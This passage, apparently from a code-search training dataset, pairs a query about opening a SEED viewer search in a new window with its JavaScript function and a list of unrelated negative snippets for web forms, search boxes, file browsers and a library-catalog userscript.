fnViewMapping(clauseSeqNo,VersionNo,SecSeqNo,SubSecSeqNo)\n{\t\n\tvar OrderKey=document.forms[0].hdnOrderKey.value;\n\n\twindow.open(\"showAppendix.do?method=viewMapping&subSecSeqNo=\"+SubSecSeqNo+\"&orderKey=\"+OrderKey+\"&secSeqNo=\"+SecSeqNo+\"&clauseSeqNo=\"+clauseSeqNo+\"&versionNo=\"+VersionNo+\"\",'ViewMapping','location=0,resizable=No ,status=0,scrollbars=1,WIDTH=850,height=600');\n\n}", "function createForm(form)\n{\n\tvar whLocation = form.addField('custpage_qbwhlocation', 'select', 'Location').setMandatory(true);\n\n\twhLocation.addSelectOption(\"\",\"\");\n\n\tvar vRolebasedLocation = getRoledBasedLocation();\n\n\tif(vRolebasedLocation==null || vRolebasedLocation=='' || vRolebasedLocation==0)\n\t{\n\t\tvRolebasedLocation = new Array();\n\t\tvar filters=new Array();\n\t\tfilters.push(new nlobjSearchFilter('custrecord_wmsse_make_wh_site', null, 'is', 'T'));\n\t\t//filters.push(new nlobjSearchFilter('isinactive', null, 'is', 'F')); \n\t\tvar searchresults = nlapiSearchRecord('location', 'customsearch_wmsse_locsearchresults', filters, null);\n\t\tif(searchresults != null && searchresults !='')\n\t\t{\t\t\t\t\n\t\t\tfor(var k=0;k<searchresults.length;k++)\n\t\t\t{\n\t\t\t\tvRolebasedLocation.push(searchresults[k].getId());\n\t\t\t}\n\n\t\t}\n\t}\n\n\tvar roleBasedLocationArray=getLocationName(vRolebasedLocation);\n\n\tif(roleBasedLocationArray != null && roleBasedLocationArray != '' && roleBasedLocationArray != 'null')\n\t{\n\t\tfor (var j = 0; roleBasedLocationArray != null && j < roleBasedLocationArray.length; j++) {\n\t\t\tif(roleBasedLocationArray[j][0] != null && roleBasedLocationArray[j][0] != \"\" && roleBasedLocationArray[j][0] != \" \")\n\t\t\t{\n\t\t\t\tvar tslocation = form.getField('custpage_qbwhlocation').getSelectOptions(roleBasedLocationArray[j][0], 'is');\n\t\t\t\tif (tslocation != null) {\n\t\t\t\t\tif (tslocation.length > 0) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\twhLocation.addSelectOption(roleBasedLocationArray[j][0], roleBasedLocationArray[j][1]);\n\t\t\t}\n\t\t}\n\t}\n\tif(request.getParameter('custpage_qbwhlocation')!='' && request.getParameter('custpage_qbwhlocation')!=null)\n\t{\n\t\twhLocation.setDefaultValue(request.getParameter('custpage_qbwhlocation'));\t\n\t}\n\tif(vRolebasedLocation.length==1)\n\t{\n\t\twhLocation.setDefaultValue(vRolebasedLocation[0]);\t\n\t}\n\n\tvar tranType = form.addField('custpage_qbtrantype', 'select',\n\t'Transaction Type').setMandatory(true).setDisplaySize(150);\n\n\ttranType.addSelectOption(\"salesorder\",\"Sales Order\");\n\ttranType.addSelectOption(\"transferorder\",\"Transfer Order\");\n\tif(request.getParameter('custpage_qbtrantype')!='' && \n\t\t\trequest.getParameter('custpage_qbtrantype')!=null)\n\t{\n\t\ttranType.setDefaultValue(request.getParameter('custpage_qbtrantype'));\t\n\t}\n\n\tvar vTransaction = form.addField('custpage_qbtransaction', 'text', 'Transaction #');\n\t//vTransaction.setDisplaySize(41.5);\n\tif(request.getParameter('custpage_qbtransaction')!='' && \n\t\t\trequest.getParameter('custpage_qbtransaction')!=null)\n\t{\n\t\tvTransaction.setDefaultValue(request.getParameter('custpage_qbtransaction'));\t\n\t}\n\n\tvar OrderType = form.addField('custpage_qbordertype', 'select', 'Order Type',\n\t'customrecord_wmsse_ordertype').setDisplaySize(150);\n\tif(request.getParameter('custpage_qbordertype')!='' && \n\t\t\trequest.getParameter('custpage_qbordertype')!=null)\n\t{\n\t\tOrderType.setDefaultValue(request.getParameter('custpage_qbordertype'));\t\n\t}\n\n\tvar VItem = form.addField('custpage_qbitem', 'select', 'Item');\n\tVItem.addSelectOption(\"\",\"\");\n\tvar subArr = new Array();\n\tsubArr = getRoleBasedSubsidiaries();\n\tnlapiLogExecution('ERROR','subArr',subArr);\n\n\tvar filterArr = new Array();\n\t\n\tif(subArr != '' && subArr != null && subArr != 'null')\n\tfilterArr.push(new nlobjSearchFilter('subsidiary', null, 'anyof', subArr));\n\n\tvar results = nlapiSearchRecord('item',\n\t\t\t'customsearch_wmsse_validitem_name_srh', filterArr, null);\n\tnlapiLogExecution('ERROR', 'results',results);\n\tif(results != null && results != '')\n\t{\n\t\tnlapiLogExecution('ERROR', 'results.length',results.length);\n\t\tfor(var i=0;i<results.length;i++)\n\t\t{\n\t\t\tvar iName = results[i].getValue('name');\n\t\t\tvar itemId = results[i].getValue('internalid');\n\t\t\tVItem.addSelectOption(itemId,iName);\n\t\t}\n\t}\n\tif(request.getParameter('custpage_qbitem')!='' && request.getParameter('custpage_qbitem')!=null)\n\t{\n\t\tVItem.setDefaultValue(request.getParameter('custpage_qbitem'));\t\n\t}\n\n\tvar customer = form.addField('custpage_qbcustomer', 'select', 'Customer','customer');\n\tif(request.getParameter('custpage_qbcustomer')!='' && \n\t\t\trequest.getParameter('custpage_qbcustomer')!=null)\n\t{\n\t\tcustomer.setDefaultValue(request.getParameter('custpage_qbcustomer'));\n\t}\n\n\tvar shipDate = form.addField('custpage_qbshipdate', 'date', 'Ship Date');\n\t//shipDate.setDisplaySize(200);\n\tif(request.getParameter('custpage_qbshipdate')!='' && \n\t\t\trequest.getParameter('custpage_qbshipdate')!=null)\n\t{\n\t\tshipDate.setDefaultValue(request.getParameter('custpage_qbshipdate'));\n\t}\n\n\tvar ShipMethod = form.addField('custpage_qbshipmethod', 'select', 'Ship Method');\n\tShipMethod.addSelectOption(\"\",\"\");\n\tif(request.getParameter('custpage_qbshipmethod')!='' && \n\t\t\trequest.getParameter('custpage_qbshipmethod')!=null)\n\t{\n\t\tShipMethod.setDefaultValue(request.getParameter('custpage_qbshipmethod'));\t\n\t}\n\tvar shipmethodResults = getShipmethods(null);\n\tnlapiLogExecution('ERROR', 'shipmethodResults', shipmethodResults);\n\tif(shipmethodResults != null && shipmethodResults != '' && shipmethodResults != 'null')\n\t{\n\t\tfor (var j = 0; shipmethodResults != null && j < shipmethodResults.length; j++) {\n\t\t\tif(shipmethodResults[j].getValue('custrecord_wmsse_carrier_nsmethod',null, \n\t\t\t'group') != null && shipmethodResults[j].getValue(\n\t\t\t\t\t'custrecord_wmsse_carrier_nsmethod',null, 'group') != \"\" && \n\t\t\t\t\tshipmethodResults[j].getValue('custrecord_wmsse_carrier_nsmethod',null,\n\t\t\t\t\t'group') != \" \")\n\t\t\t{\n\t\t\t\tvar tshipmethod = form.getField('custpage_qbshipmethod').getSelectOptions(\n\t\t\t\t\t\tshipmethodResults[j].getValue('custrecord_wmsse_carrier_nsmethod',null, \n\t\t\t\t\t\t'group'), 'is');\n\t\t\t\tif (tshipmethod != null) {\n\t\t\t\t\tif (tshipmethod.length > 0) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tShipMethod.addSelectOption(shipmethodResults[j].getValue(\n\t\t\t\t\t\t'custrecord_wmsse_carrier_nsmethod',null, 'group'),\n\t\t\t\t\t\tshipmethodResults[j].getText('custrecord_wmsse_carrier_nsmethod',null,\n\t\t\t\t\t\t'group'));\n\t\t\t}\n\t\t}\n\t}\n\n\tvar vTaskAssignTo = form.addField('custpage_qbemployee', 'select', 'Task Assigned To','employee');\n\tif(request.getParameter('custpage_qbemployee')!='' &&\n\t\t\trequest.getParameter('custpage_qbemployee')!=null)\n\t{\n\t\tvTaskAssignTo.setDefaultValue(request.getParameter('custpage_qbemployee'));\n\t}\n\n\tform.addSubmitButton('Display');\n}" ]
[ "0.6689254", "0.622667", "0.6069064", "0.60474575", "0.600378", "0.5999498", "0.59949297", "0.5990113", "0.5955643", "0.59347326", "0.5863827", "0.5858834", "0.5854777", "0.58107567", "0.58013034", "0.57662094", "0.5727", "0.56990504", "0.56251436", "0.5610929", "0.56072384", "0.5606417", "0.55793554", "0.5563575", "0.55623025", "0.5554402", "0.55206215", "0.5520577", "0.55031306", "0.5494277", "0.547937", "0.54781306", "0.547385", "0.546063", "0.545895", "0.54544365", "0.5449646", "0.54359573", "0.54344034", "0.5424428", "0.5409372", "0.5386429", "0.53861094", "0.5370603", "0.53539085", "0.5342079", "0.5338874", "0.5330407", "0.5329567", "0.5328372", "0.5325966", "0.53236985", "0.53236985", "0.53174824", "0.53040093", "0.52928054", "0.52927065", "0.528609", "0.5276831", "0.5272111", "0.52554584", "0.5245378", "0.5241751", "0.52317137", "0.5221339", "0.5218284", "0.52168304", "0.52151936", "0.5215059", "0.52111346", "0.5205769", "0.5200462", "0.51923597", "0.51832104", "0.5180638", "0.51589346", "0.51561415", "0.5147671", "0.5130149", "0.5127048", "0.5121956", "0.51213235", "0.51213235", "0.51183516", "0.511827", "0.51166606", "0.51158047", "0.511178", "0.5109489", "0.5103793", "0.5096673", "0.5094083", "0.5093621", "0.509324", "0.50915253", "0.5085033", "0.50802934", "0.5074687", "0.5073653", "0.5065267" ]
0.59245
10
Use the specified field to do a SEED viewer search in a new window.
function SeedViewerJump(fieldID) { // Get the field value. var myValue = document.getElementById(fieldID).value; // Compute a URL from it. var myURL = "seedviewer.cgi?page=SearchResult;action=check_search;pattern=" + escape(myValue); // Open it in a new window. window.open(myURL, "sandboxWindow"); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function newSearch(){\n window.open(engines[currEngine].url+document.getElementById('field').value,\"_self\");\n}", "function elFinderBrowser (field_name, url, type, win) {\n tinymce.activeEditor.windowManager.open({\n file: '/elfinder/tinymce',// use an absolute path!\n title: 'elFinder 2.0',\n width: 1300,\n height: 600,\n resizable: 'yes'\n }, {\n setUrl: function (url) {\n win.document.getElementById(field_name).value = url;\n }\n });\n return false;\n}", "function googleSearch() {\n\tvar searchTerm = \"http://www.google.com/search?q=\" + document.getElementById('search_field').value + \" site:asrarcollege.ir\";\n\twindow.open(searchTerm);\n}", "function openInfclassFinder(url, targetField) {\n\twindow.infclassTarget = document.getElementById(targetField);\n\twindow.open(url, \"VlTluokka\", \"menubar=no,location=np,resizable=yes,scrollbars=yes\");\n}", "function openSearchQueryInNewWindow(searchQuery) {\n\t\n\tvar wnd = window.open(\"about:blank\", \"\", \"_blank\");\n\twnd.document.write(searchQuery);\n}", "function OpenSeadragon(e){return new OpenSeadragon.Viewer(e)}", "function OpenSeadragon(e){return new OpenSeadragon.Viewer(e)}", "function OpenSeadragon(e){return new OpenSeadragon.Viewer(e)}", "function openSearchWindow(url)\n{\n openNamedSearchWindow(url, getReuseBrowserWindowMode() ? DQSD_BROWSER_WINDOW_NAME : \"_blank\");\n}", "function viewEq(field) {\r\n\tvar metadata_table = (status > 0 && page == 'Design/online_designer.php') ? 'metadata_temp' : 'metadata';\r\n\t$.get(app_path_webroot+'DataEntry/view_equation_popup.php', { pid: pid, field: field, metadata_table: metadata_table }, function(data) {\r\n\t\tif (!$('#viewEq').length) $('body').append('<div id=\"viewEq\"></div>');\r\n\t\t$('#viewEq').dialog('destroy');\r\n\t\t$('#viewEq').html(data);\r\n\t\t$('#viewEq').dialog({ bgiframe: true, modal: true, title: 'Calculation equation for variable \"'+field+'\"', width: 600, buttons: { Close: function() { $(this).dialog('close'); } } });\r\n\t});\r\n}", "function dqRteGoToField(field) {\r\n\t// Close dialog\r\n\t$('#dq_rules_violated').dialog('close');\r\n\t// Go to the field\r\n\t$('html, body').animate({\r\n scrollTop: $('tr#'+field+'-tr').offset().top - 150\r\n }, 700);\r\n\t// Put focus on field\r\n\t$('form#form input[name=\"'+field+'\"]').focus();\r\n\t// Open tooltip right above field\r\n\t$('tr#'+field+'-tr')\r\n\t\t.tooltip({ tip: '#dqRteFieldFocusTip', relative: true, effect: 'fade', offset: [10,0], position: 'top center', events: { tooltip: \"mouseenter\" } })\r\n\t\t.trigger('mouseenter')\r\n\t\t.unbind();\r\n}", "function StudyViewerFactory($filter, EntityViewer, gettextCatalog) {\n\n function StudyViewer(study) {\n var ev = new EntityViewer(study, 'Study');\n\n ev.addAttribute(gettextCatalog.getString('Name'), study.name);\n ev.addAttribute(gettextCatalog.getString('Description'), $filter('truncate')(study.description, 60));\n ev.addAttribute(gettextCatalog.getString('State'), study.state.toUpperCase());\n\n ev.showModal();\n }\n\n return StudyViewer;\n}", "async function callSearx() {\n let val = document.getElementById(\"search-field\").value;\n if (val)\n window.open(display[\"searchEngine\"] + 'search?q=' + val);\n}", "function sendSearchfield(field) {\n // Api request to Youtube send it to all clients\n io.emit('NEW_VIDEO',\n // EncodeURI Make sure spaces work\n `${(field)}`);\n }", "function showDesignations(objTextBox, objLabel)\r\n{\r\n objDesignationInvokerTextBox = objTextBox;\r\n objDesignationInvokerLabel = objLabel;\r\n openModalDialog('../popup/cm_designation_search_listing.htm',screen.width-50,'400');\r\n return;\r\n}", "function findDocumentsTextField(evt, field){\t\t\t \t\t\n\tvar key = (evt.which) ? evt.which : evt.keyCode;\t\t\n\tif(field){\n\t\tfield.className =\"menuContentSearchField\"\n\t}\n\t\n\tif (key==13) {\n\t\treturn findDocumentsImage()\n\t}\n\t\t\t\t \t\t\n}", "function doSearchOnPopup() {\n var quickSearchPopUpTextBox = vm.searchQuery.replace(/<\\/?[^>]+>/gi, ' ');\n doSearch(quickSearchPopUpTextBox);\n }", "function doSearchOnPopup() {\n var quickSearchPopUpTextBox = vm.searchQuery.replace(/<\\/?[^>]+>/gi, ' ');\n doSearch(quickSearchPopUpTextBox);\n }", "openSearch() {\n this.element_main.style.visibility = \"visible\"; // show search box\n this.element_input.focus(); // put focus in input box so you can just start typing\n this.visible = true; // search visible\n }", "function OpenSeadragon(t){return new OpenSeadragon.Viewer(t)}", "function OpenSeadragon(t){return new OpenSeadragon.Viewer(t)}", "function OpenSeadragon(t){return new OpenSeadragon.Viewer(t)}", "function onClickHandler(info, tab) {\n var sText = info.selectionText;\n var url = \"https://www.google.com/search?q=\" + encodeURIComponent(sText); \n window.open(url, '_blank');\n}", "function openUserPopUpRete(Url, idFieldName, descFieldName, userFilter) {\n var urlToOpen = Url + '?valField=' + idFieldName + '&descField=' + descFieldName + '&userFilter=' + userFilter;\n\n var winUser = window.open(urlToOpen, 'userpopup_window', 'width=600,height=450,left=330px,top=300px');\n winUser.focus();\n}", "function openFilterLookupWindow(formName, lookupUrl, fieldSelectName, valueElemName) {\n filterLookupValueElem = valueElemName;\n var fieldSelect = document.getElementById(fieldSelectName);\n var field = (typeof fieldSelect.selectedIndex == \"number\") ? fieldSelect.options[fieldSelect.selectedIndex] : fieldSelect;\n if ((formName != null) || (lookupUrl == null)) {\n var reportForm = document.getElementById(formName);\n\n // save state\n var savedFormAction = reportForm.action;\n var savedFormTarget = reportForm.target;\n var savedLookupValue = reportForm.lookup.value;\n\n if (lookupUrl != null) reportForm.action = lookupUrl;\n reportForm.target = 'filter_lookup';\n reportForm.lookup.value = field.value;\n reportForm.submit();\n\n // restore state\n reportForm.action = savedFormAction;\n reportForm.target = savedFormTarget;\n reportForm.lookup.value = savedLookupValue;\n } else {\n var junctionChar = lookupUrl.indexOf('?') >= 0 ? '&' : '?';\n curPopupWindow.location.href = lookupUrl + junctionChar + 'lookup=' + field.value + '&workflow=1';\n }\n}", "function openSearch(url, winTitle) {\r\n var screenWidth = parseInt(screen.availWidth);\r\n var screenHeight = parseInt(screen.availHeight);\r\n\r\n var winParams = \"width=\" + screenWidth + \",height=\" + screenHeight;\r\n winParams += \",left=0,top=0,toolbar,scrollbars,resizable,status=yes\";\r\n\r\n openWindow(url, winTitle, winParams);\r\n}", "function openSearchDialog(column, $header, provider) {\n var popup = makePopup($header, 'Search', '<input type=\"text\" size=\"15\" value=\"\" required=\"required\" autofocus=\"autofocus\"><br><label><input type=\"checkbox\">RegExp</label><br>');\n popup.select('input[type=\"text\"]').on('input', function () {\n var search = this.value;\n if (search.length >= 3) {\n var isRegex = popup.select('input[type=\"checkbox\"]').property('checked');\n if (isRegex) {\n search = new RegExp(search);\n }\n provider.searchAndJump(search, column);\n }\n });\n function updateImpl() {\n var search = popup.select('input[type=\"text\"]').property('value');\n var isRegex = popup.select('input[type=\"text\"]').property('checked');\n if (search.length > 0) {\n if (isRegex) {\n search = new RegExp(search);\n }\n provider.searchAndJump(search, column);\n }\n popup.remove();\n }\n popup.select('input[type=\"checkbox\"]').on('change', updateImpl);\n popup.select('.ok').on('click', updateImpl);\n popup.select('.cancel').on('click', function () {\n popup.remove();\n });\n}", "function OpenSeadragon(A){return new OpenSeadragon.Viewer(A)}", "function showAgents(objTextBox, objLabel)\r\n{\r\n objChannelTypeInvokerTextBox = objTextBox;\r\n objChannelTypeInvokerLabel = objLabel;\r\n openModalDialog('../popup/cm_agent_search_listing.htm',screen.width-50,'400');\r\n \r\n return;\r\n}", "function openSearch(url, winTitle) {\n var screenWidth = parseInt(screen.availWidth);\n var screenHeight = parseInt(screen.availHeight);\n\n var winParams = \"width=\" + screenWidth + \",height=\" + screenHeight;\n winParams += \",left=0,top=0,toolbar,scrollbars,resizable,status=yes\";\n\n openWindow(url, winTitle, winParams);\n}", "function opensearch(){\n\tsummer.openWin({\n\t\tid : \"search\",\n\t\turl : \"comps/summer-component-contacts/www/html/search.html\"\n\t});\n}", "function google_search() {\n var query = document.getElementById(\"google-search\").value;\n var domain = $(\"meta[name=search-domain]\").attr(\"value\");\n window.open(\"https://www.google.com/search?q=\" + query + \"+site:\" + domain);\n}", "function showExams(objTextBox, objLabel)\r\n{\r\n objExamInvokerTextBox = objTextBox;\r\n objExamInvokerLabel = objLabel;\r\n \r\n openModalDialog('../popup/cm_exam_search_listing.htm',screen.width-50,'400');\r\n return;\r\n}", "function searchOrgNr() {\n var nr = document.getElementById(\"orgSearchField\").value;\n redirectToResult(nr);\n}", "function edit_query_arg() {\n var query_arg = $(this).parent(\"span.query-arg\").data(\"query_arg\");\n // select the searchlet\n $(\"a.search-section[searchlet='\" + query_arg.attr + \"']\", container).click();\n // select the query type\n searchlets[query_arg.attr].select(query_arg);\n\n $(\"a\", query).removeClass(\"editing\");\n $(this).children(\"a\").addClass(\"editing\");\n if (settings.debug) dump_query_args(\"edit_query_arg\");\n return false;\n }", "function search() {\n $.var.currentSupplier = $.var.search;\n $.var.currentID = 0;\n $.var.search.query = $(\"#searchable\").val();\n if ($.var.search.query.trim().length === 0) { // if either no string, or string of only spaces\n $.var.search.query = \" \"; // set query to standard query used on loadpage\n }\n $.var.search.updateWebgroupRoot();\n}", "function onShowSearchResultPanel() {\n mediator.getView('searchResult');\n }", "function n(e){return new n.Viewer(e)}", "function searchThis(e) {\n $('#searchbox').val($(e).text());\n FJS.filter();\n}", "function enterField() {\n\t//var appField=$(\"#app-field\").val();\n\tvar appField = $(\"#app-field :selected\").val();\n\t\n\t$(\".app-field\").text(\"TEST FIELD: \"+appField);\n\ttests.appField=appField;\n\tresults.appField=appField;\n\t\t\n\t$(\"#appField\").hide();\n\t$(\"#form-0\").show();\n\t\n\tqueryQuestionsByField(appField);\n\t\t\n\t//loadPages();\n}", "function searchText() {\r\n var search_term = $(\"#txtSearchText\").val();\r\n if( search_term != '' && search_term != null )\r\n getDocViewer('documentViewer').searchText( search_term );\r\n}", "function createSearchField() {\n removeSearchField();\n var inputNode = content.document.createElement(\"input\");\n var overlay = content.document.getElementById(OverlayId);\n inputNode.setAttribute(\"type\", \"search\");\n inputNode.id = SearchInputId;\n inputNode.onsubmit = submitSearch;\n overlay.appendChild(inputNode);\n // add the newly created element and its content into the DOM \n}", "function initSearch(event) {\n var searchPageDoc = event.target;\n var searchField = searchPageDoc.getElementByTagName(\"searchField\");\n if (!searchField) { return; }\n \n var keyboard = searchField.getFeature(\"Keyboard\");\n keyboard.onTextChange = function () {\n doSearch(keyboard.text, searchPageDoc);\n }\n}", "function setSearchFilter(page) {\n if (tod) {\n searchFilter.innerText = page.documentInfo[0] // document title\n searchFilter.classList.remove('hidden')\n searchBoxElement.placeholder = 'Search within doc'\n }\n }", "constructor(field, value) {\n super('span_term');\n\n if (!isNil(field)) this._field = field;\n if (!isNil(value)) this._queryOpts.value = value;\n }", "function FieldClickListener() {\n google.maps.event.addListener(\n myField,\n 'click',\n function (event) {\n var message = GetMessage(myField);\n myInfoWindow.setOptions({ content: message });\n myInfoWindow.setPosition(myField.center);\n myInfoWindow.open(map);\n }\n );\n}", "function DfoSetFieldText(/**string*/ field, /**string*/ text)\r\n{\r\n\tvar xpath = \"//label[text()='\" + field + \"']/../input[contains(@id,'Form')]\";\r\n\tvar obj = DfoFindObject(xpath);\r\n\t\r\n\tif (!obj)\r\n\t{\r\n\t\tLogAssert(\"DfoSetFieldText: field not found: \" + field);\r\n\t\treturn;\r\n\t}\r\n\t\r\n\tobj.object_name = field;\r\n\tobj.DoClick();\r\n\tobj.DoSetText(text);\r\n\tobj.DoSendKeys(\"{TAB}\");\r\n}", "function viewEntry() {\n var current = getCurEntry();\n var url = $('a.title', current).attr('href');\n window.open(url);\n}", "function whichFieldIsThis(fieldText) {\n\n\t// Title\n\tif(fieldText.indexOf(\"Title:\") == 0) return {\n\t\tgetPrefix: function() { return 'http://fcaw.library.umass.edu:8991/F?func=find-a&find_code=WTI&request='; },\n\t\tgetSuffix: function() { return ''; },\n\t\tgetNewCode: gmGetNewCode\n\t}\n\n\t// Author\n\tif(fieldText.indexOf(\"Author:\") == 0) return {\n\t\tgetPrefix: function() { return 'http://fcaw.library.umass.edu:8991/F?func=find-e&find_scan_code=SCAN_AUT&request='; },\n\t\tgetSuffix: function() { return ''; },\n\t\tgetNewCode: function(html) {\n\t\t\tvar searchTerm = gmGetSearchTerm(html);\n\t\t\tvar newcode = '<a href=\"' + this.getPrefix() + \n\t\t\t\tescape(searchTerm.replace(/\\:/, '')) + this.getSuffix() +\n\t\t\t\t'\" target=\"_blank\" class=\"catalogLink\">' + searchTerm + '</a>' +\n\t\t\t\t'<!-- greasemonkey code -->';\n\t\t\treturn gmReplaceSearchTerm(html, newcode);\n\t\t}\n\t}\n\n\t// LC Class\n\tif(fieldText.indexOf(\"LC Class:\") == 0) return {\n\t\tgetPrefix: function() { return 'http://fcaw.library.umass.edu:8991/F?func=find-e&find_scan_code=SCAN_LCI2&request='; },\n\t\tgetSuffix: function() { return ''; },\n\t\tgetNewCode: gmGetNewCode\n\t}\n\n\t// Editor\n\tif(fieldText.indexOf(\"Editor:\") == 0) return {\n\t\tgetPrefix: function() { return 'http://fcaw.library.umass.edu:8991/F?func=find-e&find_scan_code=SCAN_AUT&request='; },\n\t\tgetSuffix: function() { return ''; },\n\t\tgetNewCode: function(html) { \n\t\t\t\n\t\t\tvar searchTerm = gmGetSearchTerm(html);\n\t\t\t\n\t\t\t// Flip editor names around for searching\n\t\t\tif(searchTerm.match(/^.+\\s\\w+$/)) {\n\t\t\t\tnewTerm = searchTerm.replace(/^(.+)\\s(\\w+)$/, \"$2, $1\");\n\t\t\t} else {\n\t\t\t\tnewTerm = searchTerm;\n\t\t\t}\n\t\t\t\n\t\t\tnewcode = '<a href=\"' + this.getPrefix() + escape(newTerm) + this.getSuffix() +\n\t\t\t\t'\" target=\"_blank\" class=\"catalogLink\">' + searchTerm + '</a>';\n\t\t\t\t\n\t\t\treturn gmReplaceSearchTerm(html, newcode);\n\t\t}\n\t}\n\n\t// Subject Headings\n\tif(fieldText.indexOf(\"Subject Headings:\") == 0) return {\n\t\tgetPrefix: function() { return 'http://fcaw.library.umass.edu:8991/F?func=find-a&find_code=WSU&request='; },\n\t\tgetSuffix: function() { return ''; },\n\t\tgetFullTerm: function(term) { \n\t\t\tterm = term.replace(/CRIT\\./, \"CRITICISM\");\n\t\t\tterm = term.replace(/CENT\\./, \"CENTURY\");\n\t\t\tterm = term.replace(/HIST\\./, \"HISTORY\");\n\t\t\tterm = term.replace(/INTERPR\\./, \"INTERPRETATION\");\n\t\t\tterm = term.replace(/\\&amp;/, \"AND\");\n\t\t\treturn term; \n\t\t},\n\t\tgetNewCode: function(html) { \n\t\t\n\t\t\tvar searchTerm = gmGetSearchTerm(html);\n\t\t\tif(searchTerm.indexOf(\"1.\") == 0) {\n\t\t\t\t\n\t\t\t\tsearchTerm = ' ' + searchTerm;\n\t\t\t\tvar parts = searchTerm.split(/\\s\\d\\.\\s/);\n\t\t\t\tnewcode = '';\n\t\t\t\tfor(var i=1; i<parts.length; i++) {\n\t\t\t\t\tparts[i] = parts[i].replace(/\\.\\s*$/, \"\");\n\t\t\t\t\tnewcode += i + '. ' + '<a href=\"' + this.getPrefix() + \n\t\t\t\t\t\tescape(this.getFullTerm(parts[i])) + this.getSuffix() +\n\t\t\t\t\t\t'\" target=\"_blank\" class=\"catalogLink\">' + \n\t\t\t\t\t\tparts[i] + '</a> ';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\tnewcode = '<a href=\"' + this.getPrefix() + \n\t\t\t\t\tescape(this.getFullTerm(searchTerm)) + this.getSuffix() +\n\t\t\t\t\t'\" target=\"_blank\" class=\"catalogLink\">' + searchTerm + '</a>';\n\t\t\t}\n\t\t\treturn gmReplaceSearchTerm(html, newcode);\n\t\t}\n\t}\n\t\n\t// Approval Note\n\tif(fieldText.indexOf(\"Approval Note:\") == 0) return {\n\t\tgetNewCode: function(html) { \n\t\t\n\t\t\thtml = gmAnnotateAll(html, 'VOL. SET', 'Use 1970-09 to order all at once', 'VOLUME SET', 'Use 1970-09 to order all at once');\n\t\t\n\t\t\tvar ToFlag = new Array('EXHIBITION CATALOG', 'EXHIBITION CAT', 'EXHIB. CAT', 'EXHIB', 'PREVIOUSLY PUBLISHED', 'PREV. PUBLISHED', 'PREV. PUB', 'REVISED DISSERTATION', 'REV. DISSERTATION', 'REV. DISS', 'CONFERENCE', 'CONF.', 'PAPERS', 'POETRY', 'FIRM');\n\t\t\t\n\t\t\treturn gmHighlight(html, ToFlag);\n\t\t}\n\t}\n\n\t// Binding\n\tif(fieldText.indexOf(\"Binding:\") == 0) return {\n\t\tgetNewCode: function(html) { \n\t\t\thtml = gmAnnotateAll(html, 'eBook', 'Direct to Kathleen');\n\t\t\tvar ToFlag = new Array('eBook');\n\t\t\treturn gmHighlight(html, ToFlag);\n\t\t}\n\t}\n\n\t// Geographic Focus\t\n\tif(fieldText.indexOf(\"Geographic Focus:\") == 0) return {\n\t\tgetNewCode: function(html) { \n\t\t\tvar ToFlag = new Array('Canada');\n\t\t\treturn gmHighlight(html, ToFlag);\n\t\t}\n\t}\n\n\t// Series Type\n\tif(fieldText.indexOf(\"Series Type:\") == 0) return {\n\t\tgetNewCode: function(html) { \n\t\t\n\t\t\t//html = gmAnnotate(html, \"Numbered Set\", \"Use 1970-08 ByPass\");\n\t\t\t//html = gmAnnotate(html, \"Numbered Series\", \"Use 1970-09 or -10\");\n\t\t\thtml = gmAnnotateAll(html, 'Numbered Set', 'Order on Bypass 1970-08', 'Numbered Set-in-Progress', 'Order on Bypass 1970-08', 'Annual', 'Order on Bypass 1970-08', 'Non-Monographic Series', 'Order on Bypass 1970-08', 'Non-monographic Series', 'Order on Bypass 1970-08');\n\t\n\t\t\tvar ToFlag = new Array('Numbered Set', 'Annual', 'Non-Monographic', 'Non-monographic');\n\t\t\treturn gmHighlight(html, ToFlag);\n\t\t}\n\t}\n\t// Series Volume\n\tif(fieldText.indexOf(\"Series Volume:\") == 0) return {\n\t\tgetNewCode: function(html) { \n\t\t\tvar ToFlag = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');\n\t\t\treturn gmHighlight(html, ToFlag);\n\t\t}\n\t}\n\t// Volumes\n\tif(fieldText.indexOf(\"Volumes:\") == 0) return {\n\t\tgetNewCode: function(html) { \n\t\t\tvar ToFlag = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');\n\t\t\treturn gmHighlight(html, ToFlag);\n\t\t}\n\t}\n\t// US Status\n\tif(fieldText.indexOf(\"US Status:\") == 0) return {\n\t\tgetNewCode: function(html) { \n\t\t\n\t\t\t//html = gmAnnotate(html, \"Import Only\", \"Use 1970-60 L&C Firm Orders UK\");\n\t\t\t\n\t\t\thtml = gmAnnotateAll(html, 'Import Only', 'Use 1970-60 L&C Firm Orders UK', 'Out of stock at publisher', 'E-mail AnnMarie to order elsewhere', 'Out of print', 'E-mail AnnMarie to order elsewhere');\n\t\n\t\t\tvar ToFlag = new Array('Import Only', 'Out of stock at publisher', 'Out of print');\n\t\t\treturn gmHighlight(html, ToFlag);\n\t\t}\n\t}\n\t\n\t// Content Level\n\tif(fieldText.indexOf(\"Content Level:\") == 0) return {\n\t\tgetNewCode: function(html) { \n\t\t\tvar ToFlag = new Array('POP');\n\t\t\treturn gmHighlight(html, ToFlag);\n\t\t}\n\t}\n\n\t// YBP Select\n\tif(fieldText.indexOf(\"YBP Select:\") == 0) return {\n\t\tgetNewCode: function(html) { \n\t\t\tvar ToFlag = new Array('Essential', 'Supplementary');\n\t\t\treturn gmHighlight(html, ToFlag);\n\t\t}\n\t}\n\n\t// Literary Type\t\n\tif(fieldText.indexOf(\"Literary Type:\") == 0) return {\n\t\tgetNewCode: function(html) { \n\t\t\tvar ToFlag = new Array('Poetry', 'Playscript');\n\t\t\treturn gmHighlight(html, ToFlag);\n\t\t}\n\t}\n\n\t// ISBN\n\tif(fieldText.indexOf(\"ISBN:\") == 0) return {\n\t\tgetPrefix: function() { return 'http://fcaw.library.umass.edu:8991/F?func=find-e&find_scan_code=SCAN_STIDN&request='; },\n\t\tgetSuffix: function() { return ''; },\n\t\tgetNewCode: function(html) { \n\t\t\n\t\t\t//rft.isbn=0909952396&amp;rft.date=2010&amp;rft.btitle=IMAGES+OF+THE+PACIFIC+RIM\n\n\t\t\tvar 